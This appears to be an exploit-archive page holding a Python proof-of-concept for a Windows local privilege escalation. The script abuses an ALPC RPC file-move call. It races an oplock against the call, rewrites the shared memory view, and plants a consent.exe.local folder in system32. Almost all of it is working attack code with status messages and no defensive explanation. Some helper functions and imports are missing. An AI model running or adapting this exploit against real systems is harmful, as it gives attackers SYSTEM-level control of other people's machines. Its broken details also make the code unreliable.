4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
from win32security import OBJECT_INHERIT_ACE, PROTECTED_DACL_SECURITY_INFORMATION, \
    DACL_SECURITY_INFORMATION, OWNER_SECURITY_INFORMATION, GROUP_SECURITY_INFORMATION, SE_FILE_OBJECT
from exe_var import *
import windows.rpc
from windows.rpc import ndr
import windows.winproxy
import windows.generated_def as gdef
import win32con, win32security
import ntsecuritycon
import win32api, win32con
import winioctlcon, win32file
import threading
from winnt import FILE_READ_ATTRIBUTES
import pywintypes

hprocess = win32api.GetCurrentProcess()
htoken = win32security.OpenProcessToken(hprocess, win32security.TOKEN_ALL_ACCESS)
my_sid = win32security.GetTokenInformation(htoken, ntsecuritycon.TokenUser)[0]
my_rid = win32security.GetTokenInformation(htoken, ntsecuritycon.TokenIntegrityLevel)[0].GetSubAuthority(0)
RID = {0x1000:'SECURITY_MENDATORY_LOW_RID', 0x2000:'SECURITY_MENDATORY_MEDIUM_RID',
     0x3000:'SECURITY_MENDATORY_HIGH_RID', 0x4000:'SECURITY_MENDATORY_SYSTEM_RID'}
print "[*] Current Integrity Level :%s(%0x)" % (RID[my_rid], my_rid)

def MakeDaclStringToSeObj(dacl_string, rev_opt=win32security.SDDL_REVISION_1):
    return win32security.ConvertStringSecurityDescriptorToSecurityDescriptor(dacl_string, rev_opt)

def RemoveWriteDAC(fname):
    try:
        win32file.DeleteFile(fname)
    except:
        pass

    my_dacl = "D:(D;;WD;;;SY)(A;;GA;;;WD)"
    se_obj = MakeDaclStringToSeObj(my_dacl)
    fdacl = se_obj.GetSecurityDescriptorDacl()
    in_se_attr = win32security.SECURITY_ATTRIBUTES()
    in_se_attr.SECURITY_DESCRIPTOR = se_obj
    ret = win32security.SetNamedSecurityInfo(fname, SE_FILE_OBJECT, 
        OWNER_SECURITY_INFORMATION|GROUP_SECURITY_INFORMATION|DACL_SECURITY_INFORMATION|PROTECTED_DACL_SECURITY_INFORMATION,
        my_sid, my_sid, fdacl, None)
    if ret == None:
        print '[*] Removed WriteDAC for System.'
    else:
        print '[!] Error while removing WriteDAC for System.'

# NDR Descriptions
class SvcMoveFileInheritSecurity(ndr.NdrParameters):
    MEMBERS = [ndr.NdrUniquePTR(ndr.NdrWString),
                ndr.NdrUniquePTR(ndr.NdrWString),
                ndr.NdrLong]

# Make Low integirty File
base_path = os.environ['LocalAppData'] + "Low"
src_path = base_path + "\\consent.exe.local"
dst_path = os.environ['windir'] + "\\system32\\consent.exe.local"
fake_src = base_path + "\\fake_src.txt"
fake_dst = base_path + "\\fake_dst.txt"
if not os.path.exists(src_path):
    os.makedirs(src_path)

# Exploit Step #1 : find endpoint associated rpc
UUID = "BE7F785E-0E3A-4AB7-91DE-7E46E443BE29"
client = windows.rpc.find_alpc_endpoint_and_connect(UUID, version=(0,0))
client_info =windows.rpc.find_alpc_endpoints(UUID, version=(0,0)) 
print "[*] RPC(be7f785e-0e3a-4ab7-91de-7e46e443be29) connected."
print "\t[+] Portname : " + str(client.alpc_client.port_name)
print "\t[+] Info : " + str(client_info)
iid = client.bind(UUID, version=(0,0))
cur_proc = windows.current_process

# Create Section
parameters = ndr.make_parameters([ndr.NdrWString, ndr.NdrWString, ndr.NdrLong]).pack([fake_src+'\x00',fake_dst+'\x00',0x1])

# Forge a call
IF_NUMBER = client.if_bind_number[hash(buffer(iid)[:])]
call_req = client._forge_call_request(IF_NUMBER, 14, "")

oplock_trigger = False
# Make Optlock
def oplock(dst_file):
    global oplock_trigger
    print "[*] Oplock Thread start!"
    g_o = pywintypes.OVERLAPPED()
    hdst = win32file.CreateFile(dst_file, FILE_READ_ATTRIBUTES, win32con.FILE_SHARE_READ, None,
        win32con.OPEN_EXISTING, win32con.FILE_FLAG_OVERLAPPED, None)
    ret_bytes = ctypes.c_ulong()
    status = win32file.DeviceIoControl(hdst, winioctlcon.FSCTL_REQUEST_OPLOCK_LEVEL_1, None, 0, g_o)
    if status != 0:
        print "[*] Destination file Oplock success! (%s)" % dst_file
    else:
        print "[!] It's failed to make OpLock."
        exit(-1)

    ret = win32file.GetOverlappedResult(hdst, g_o, 1)
    if ret == 0:
        print "[!] Oplcok Failed!"
    print "[*] Called SetNamedSecurityInfo."
    oplock_trigger = True

def exploit():
    touch(fake_src)
    t = threading.Thread(target=oplock, args=(fake_src,))
    t.start()
    
    section = client.alpc_client.create_port_section(0x40000, 0, 0x1000) # 0x40000 section flag (secure view)
    view = client.alpc_client.map_section(section[0], 0x1000)
    p = windows.alpc.AlpcMessage(0x2000)
    p.port_message.data = call_req + ndr.NdrLong.pack(len(parameters) + 0x200) + "\x00" * 40
    p.attributes.ValidAttributes |= gdef.ALPC_MESSAGE_VIEW_ATTRIBUTE
    p.view_attribute.Flags = 0x40000
    p.view_attribute.ViewBase = view.ViewBase
    p.view_attribute.SectionHandle = view.SectionHandle
    p.view_attribute.ViewSize = len(parameters)

    # Write NDR to view
    cur_proc.write_memory(view.ViewBase, parameters)
    client.alpc_client.send(p)

    idx = 0
    while idx<1000:
        if oplock_trigger == True:
            break

    if oplock_trigger == False:
        print '[!] Race Condition Failed!'
        return False

    new_src = ndr.NdrWString.pack(src_path+'\x00')
    new_dst = ndr.NdrWString.pack(dst_path+'\x00')
    
    cur_proc.virtual_protect(view.ViewBase, 0x1000, gdef.PAGE_READWRITE, None)
    cur_proc.write_memory(view.ViewBase, new_dst)
    cur_proc.write_memory(view.ViewBase+4*26, new_src)
    time.sleep(10)
    if os.path.exists(dst_path):
        print "[*] Exploit Complete!"
    else:
        print "[!] Exploit Failed!"

RemoveWriteDAC(src_path)
exploit()